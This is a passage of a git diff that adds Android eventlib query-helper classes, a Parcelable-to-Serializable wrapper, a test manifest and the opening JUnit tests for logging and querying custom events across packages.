diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ClassQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ClassQuery.java
new file mode 100644
index 0000000..997ff68
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ClassQuery.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Query for a {@link Class}. */
+public interface ClassQuery<E extends EventLogsQuery> extends Serializable {
+    /** Require that the class is the same as {@code clazz}. */
+    E isSameClassAs(Class<?> clazz);
+
+    @CheckResult
+    StringQuery<E> className();
+
+    @CheckResult
+    StringQuery<E> simpleName();
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ClassQueryHelper.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ClassQueryHelper.java
new file mode 100644
index 0000000..0c17d18
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ClassQueryHelper.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.ClassInfo;
+
+import java.io.Serializable;
+
+/** Implementation of {@link ClassQuery}. */
+public final class ClassQueryHelper<E extends EventLogsQuery>
+        implements ClassQuery<E>, Serializable {
+
+    private final E mQuery;
+    private final StringQueryHelper<E> mClassName;
+    private final StringQueryHelper<E> mSimpleName;
+
+    public ClassQueryHelper(E query) {
+        mQuery = query;
+        mClassName = new StringQueryHelper<>(query);
+        mSimpleName = new StringQueryHelper<>(query);
+    }
+
+    @Override
+    public E isSameClassAs(Class<?> clazz) {
+        return className().isEqualTo(clazz.getName());
+    }
+
+    @Override
+    public StringQuery<E> className() {
+        return mClassName;
+    }
+
+    @Override
+    public StringQuery<E> simpleName() {
+        return mSimpleName;
+    }
+
+    public boolean matches(ClassInfo value) {
+        if (!mClassName.matches(value.className())) {
+            return false;
+        }
+
+        if (!mSimpleName.matches(value.simpleName())) {
+            return false;
+        }
+
+        return true;
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleKeyQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleKeyQuery.java
new file mode 100644
index 0000000..dd3112a
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleKeyQuery.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.os.PersistableBundle;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Query for a single key in a {@link PersistableBundle}. */
+public interface PersistableBundleKeyQuery<E extends EventLogsQuery>  extends Serializable {
+    /** Require that the key exists. */
+    E exists();
+    /** Require that the key does not exist. */
+    E doesNotExist();
+
+    @CheckResult
+    StringQuery<E> stringValue();
+
+    @CheckResult
+    PersistableBundleQuery<E> persistableBundleValue();
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleKeyQueryHelper.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleKeyQueryHelper.java
new file mode 100644
index 0000000..aca4e94
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleKeyQueryHelper.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.os.PersistableBundle;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Implementation of {@link PersistableBundleKeyQuery}. */
+public final class PersistableBundleKeyQueryHelper<E extends EventLogsQuery>
+        implements PersistableBundleKeyQuery<E>, Serializable {
+
+    private final E mQuery;
+    private Boolean mExpectsToExist = null;
+    private StringQueryHelper<E> mStringQuery = null;
+    private PersistableBundleQueryHelper<E> mPersistableBundleQuery;
+
+    public PersistableBundleKeyQueryHelper(E query) {
+        mQuery = query;
+    }
+
+    @Override
+    public E exists() {
+        if (mExpectsToExist != null) {
+            throw new IllegalStateException(
+                    "Cannot call exists() after calling exists() or doesNotExist()");
+        }
+        mExpectsToExist = true;
+        return mQuery;
+    }
+
+    @Override
+    public E doesNotExist() {
+        if (mExpectsToExist != null) {
+            throw new IllegalStateException(
+                    "Cannot call doesNotExist() after calling exists() or doesNotExist()");
+        }
+        mExpectsToExist = false;
+        return mQuery;
+    }
+
+    @Override
+    public StringQuery<E> stringValue() {
+        if (mStringQuery == null) {
+            checkUntyped();
+            mStringQuery = new StringQueryHelper<>(mQuery);
+        }
+        return mStringQuery;
+    }
+
+    @Override
+    public PersistableBundleQuery<E> persistableBundleValue() {
+        if (mPersistableBundleQuery == null) {
+            checkUntyped();
+            mPersistableBundleQuery = new PersistableBundleQueryHelper<>(mQuery);
+        }
+        return mPersistableBundleQuery;
+    }
+
+    private void checkUntyped() {
+        if (mStringQuery != null || mPersistableBundleQuery != null) {
+            throw new IllegalStateException("Each key can only be typed once");
+        }
+    }
+
+    public boolean matches(PersistableBundle value, String key) {
+        if (mExpectsToExist != null && value.containsKey(key) != mExpectsToExist) {
+            return false;
+        }
+        if (mStringQuery != null && !mStringQuery.matches(value.getString(key))) {
+            return false;
+        }
+        if (mPersistableBundleQuery != null
+                && !mPersistableBundleQuery.matches(value.getPersistableBundle(key))) {
+            return false;
+        }
+
+        return true;
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleQuery.java
new file mode 100644
index 0000000..4df56a2
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleQuery.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.os.PersistableBundle;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Query for a {@link PersistableBundle}. */
+public interface PersistableBundleQuery<E extends EventLogsQuery> extends Serializable {
+
+    /** Query a given key on the {@link PersistableBundle}. */
+    @CheckResult
+    PersistableBundleKeyQuery<E> key(String key);
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleQueryHelper.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleQueryHelper.java
new file mode 100644
index 0000000..407e2ca
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleQueryHelper.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.os.PersistableBundle;
+
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.util.SerializableParcelWrapper;
+
+import java.io.Serializable;
+import java.util.HashMap;
+import java.util.Map;
+
+/** Implementation of {@link PersistableBundleQuery}. */
+public final class PersistableBundleQueryHelper<E extends EventLogsQuery>
+        implements PersistableBundleQuery<E>, Serializable {
+
+    private final E mQuery;
+    private final Map<String, PersistableBundleKeyQueryHelper<E>> mKeyQueryHelpers =
+            new HashMap<>();
+
+    public PersistableBundleQueryHelper(E query) {
+        mQuery = query;
+    }
+
+    @Override
+    public PersistableBundleKeyQuery<E> key(String key) {
+        if (!mKeyQueryHelpers.containsKey(key)) {
+            mKeyQueryHelpers.put(key, new PersistableBundleKeyQueryHelper<>(mQuery));
+        }
+        return mKeyQueryHelpers.get(key);
+    }
+
+    public boolean matches(PersistableBundle value) {
+        for (Map.Entry<String, PersistableBundleKeyQueryHelper<E>> keyQueries :
+                mKeyQueryHelpers.entrySet()) {
+            if (!keyQueries.getValue().matches(value, keyQueries.getKey())) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    public boolean matches(SerializableParcelWrapper<PersistableBundle> serializableBundle) {
+        if ((serializableBundle == null || serializableBundle.get() == null)) {
+            if (mKeyQueryHelpers.isEmpty()) {
+                return true;
+            }
+            return false;
+        }
+
+        return matches(serializableBundle.get());
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/SerializableQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/SerializableQuery.java
new file mode 100644
index 0000000..c57bc11
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/SerializableQuery.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Query for a {@link Serializable}. */
+public interface SerializableQuery<E extends EventLogsQuery> extends Serializable {
+    /** Require that the {@link Serializable} is equal to {@code serializable}. */
+    E isEqualTo(Serializable serializable);
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/SerializableQueryHelper.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/SerializableQueryHelper.java
new file mode 100644
index 0000000..9d24c49
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/SerializableQueryHelper.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Implementation of {@link SerializableQuery}. */
+public final class SerializableQueryHelper<E extends EventLogsQuery>
+        implements SerializableQuery<E>, Serializable {
+
+    private final E mQuery;
+    private Serializable mEqualsValue = null;
+
+    public SerializableQueryHelper(E query) {
+        mQuery = query;
+    }
+
+    @Override
+    public E isEqualTo(Serializable serializable) {
+        this.mEqualsValue = serializable;
+        return mQuery;
+    }
+
+    public boolean matches(Serializable value) {
+        if (mEqualsValue != null && !mEqualsValue.equals(value)) {
+            return false;
+        }
+
+        return true;
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/StringQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/StringQuery.java
new file mode 100644
index 0000000..3721c7c
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/StringQuery.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Query for a {@link String}. */
+public interface StringQuery<E extends EventLogsQuery> extends Serializable {
+    /** Require the {@link String} is equal to {@code string}. */
+    E isEqualTo(String string);
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/StringQueryHelper.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/StringQueryHelper.java
new file mode 100644
index 0000000..b84ff1a
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/StringQueryHelper.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Implementation of {@link StringQuery}. */
+public final class StringQueryHelper<E extends EventLogsQuery>
+        implements StringQuery<E>, Serializable{
+
+    private final E mQuery;
+    private String mEqualsValue = null;
+
+    public StringQueryHelper(E query) {
+        mQuery = query;
+    }
+
+    @Override
+    public E isEqualTo(String string) {
+        this.mEqualsValue = string;
+        return mQuery;
+    }
+
+    public boolean matches(String value) {
+        if (mEqualsValue != null && !mEqualsValue.equals(value)) {
+            return false;
+        }
+
+        return true;
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/util/SerializableParcelWrapper.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/util/SerializableParcelWrapper.java
new file mode 100644
index 0000000..e0fa4b2
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/util/SerializableParcelWrapper.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.util;
+
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+
+/** A wrapper around a {@link Parcelable} which makes it {@link Serializable}. */
+public class SerializableParcelWrapper<E extends Parcelable> implements Serializable {
+
+    private static final long serialVersionUID = 0;
+
+    private E mParcelable;
+
+    public SerializableParcelWrapper(E parcelable)  {
+        mParcelable = parcelable;
+    }
+
+    public E get() {
+        return mParcelable;
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (!(obj instanceof SerializableParcelWrapper)) {
+            return false;
+        }
+        SerializableParcelWrapper<E> other = (SerializableParcelWrapper<E>) obj;
+
+        if (mParcelable == null) {
+            return other.mParcelable == null;
+        }
+
+        return mParcelable.equals(other.mParcelable);
+    }
+
+    @Override
+    public int hashCode() {
+        return mParcelable.hashCode();
+    }
+
+    // Serializable readObject
+    private void readObject(ObjectInputStream inputStream) throws ClassNotFoundException,
+            IOException {
+        int size = inputStream.readInt();
+        byte[] bytes = new byte[size];
+        inputStream.read(bytes);
+        Parcel p = Parcel.obtain();
+        p.unmarshall(bytes, 0, size);
+        p.setDataPosition(0);
+        mParcelable = p.readParcelable(Parcelable.class.getClassLoader());
+        p.recycle();
+    }
+
+    // Serializable writeObject
+    private void writeObject(ObjectOutputStream outputStream) throws IOException {
+        Parcel p = Parcel.obtain();
+        p.writeParcelable(mParcelable, /* flags= */ 0);
+        byte[] bytes = p.marshall();
+        p.recycle();
+
+        outputStream.writeInt(bytes.length);
+        outputStream.write(bytes);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/AndroidManifest.xml b/common/device-side/bedstead/eventlib/src/test/AndroidManifest.xml
new file mode 100644
index 0000000..710df7b
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.eventlib.test">
+    <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26"/>
+    <application
+        android:label="Event Library Tests" android:appComponentFactory="com.android.eventlib.premade.EventLibAppComponentFactory">
+        <uses-library android:name="android.test.runner" />
+
+        <activity android:name="com.android.eventlib.premade.EventLibActivity" android:exported="true" />
+        <activity android:name="com.android.generatedEventLibActivity" android:exported="true" />
+
+    </application>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.eventlib.test"
+                     android:label="Event Library Tests" />
+</manifest>
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
new file mode 100644
index 0000000..1b3d5ba
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
@@ -0,0 +1,1257 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+import static org.testng.Assert.fail;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.UserHandle;
+import android.os.UserManager;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.eventlib.events.CustomEvent;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.time.Duration;
+import java.util.HashSet;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(JUnit4.class)
+public class EventLogsTest {
+    private static final Context CONTEXT =
+            InstrumentationRegistry.getInstrumentation().getContext();
+    private static final String TEST_APP_PACKAGE_NAME = "com.android.eventlib.tests.testapp";
+    private static final String INCORRECT_PACKAGE_NAME = "com.android.eventlib.tests.notapackage";
+    private static final UserHandle NON_EXISTING_USER_HANDLE = UserHandle.of(1000);
+
+    private static final String TEST_TAG1 = "TEST_TAG1";
+    private static final String TEST_TAG2 = "TEST_TAG2";
+    private static final String DATA_1 = "DATA_1";
+    private static final String DATA_2 = "DATA_2";
+
+    private static final Duration VERY_SHORT_POLL_WAIT = Duration.ofMillis(20);
+
+    private boolean hasScheduledEvents = false;
+    private boolean hasScheduledEventsOnTestApp = false;
+    private final ScheduledExecutorService mScheduledExecutorService =
+            Executors.newSingleThreadScheduledExecutor();
+    private final TestApis mTestApis = new TestApis();
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @After
+    public void teardown() {
+        if (hasScheduledEvents) {
+            // Clear the queue
+            CustomEvent.queryPackage(CONTEXT.getPackageName()).poll();
+        }
+        if (hasScheduledEventsOnTestApp) {
+            // Clear the queue
+            CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME).poll();
+        }
+    }
+
+    @Test
+    public void resetLogs_get_doesNotReturnLogs() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .log();
+
+        EventLogs.resetLogs();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName());
+        assertThat(eventLogs.get()).isNull();
+    }
+
+    @Test
+    public void resetLogs_differentPackage_get_doesNotReturnLogs() {
+        logCustomEventOnTestApp();
+
+        EventLogs.resetLogs();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        assertThat(eventLogs.get()).isNull();
+    }
+
+    @Test
+    public void resetLogs_next_doesNotReturnLogs() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .log();
+
+        EventLogs.resetLogs();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName());
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void resetLogs_differentPackage_next_doesNotReturnLogs() {
+        logCustomEventOnTestApp();
+
+        EventLogs.resetLogs();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void resetLogs_poll_doesNotReturnLogs() {
+        CustomEvent.logger(CONTEXT)
+                .setTag(TEST_TAG1)
+                .log();
+
+        EventLogs.resetLogs();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName());
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void resetLogs_differentPackage_poll_doesNotReturnLogs() {
+        logCustomEventOnTestApp();
+
+        EventLogs.resetLogs();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void get_nothingLogged_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.get()).isNull();
+    }
+
+    @Test
+    public void get_differentPackage_nothingLogged_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.get()).isNull();
+    }
+
+    @Test
+    public void next_nothingLogged_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void next_differentPackage_nothingLogged_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void poll_nothingLogged_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void poll_loggedAfter_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+        scheduleCustomEventInOneSecond();
+
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void poll_differentPackage_nothingLogged_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void poll_differentPackage_loggedAfter_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+        scheduleCustomEventInOneSecondOnTestApp();
+
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void get_loggedOnTwoPackages_returnsEventFromQueriedPackage() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        CustomEvent.logger(CONTEXT).setTag(TEST_TAG1).setData(DATA_2).log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.get().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void next_loggedOnTwoPackages_returnsEventFromQueriedPackage() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        CustomEvent.logger(CONTEXT).setTag(TEST_TAG1).setData(DATA_2).log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void poll_loggedOnTwoPackages_returnsEventFromQueriedPackage() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        CustomEvent.logger(CONTEXT).setTag(TEST_TAG1).setData(DATA_2).log();
+
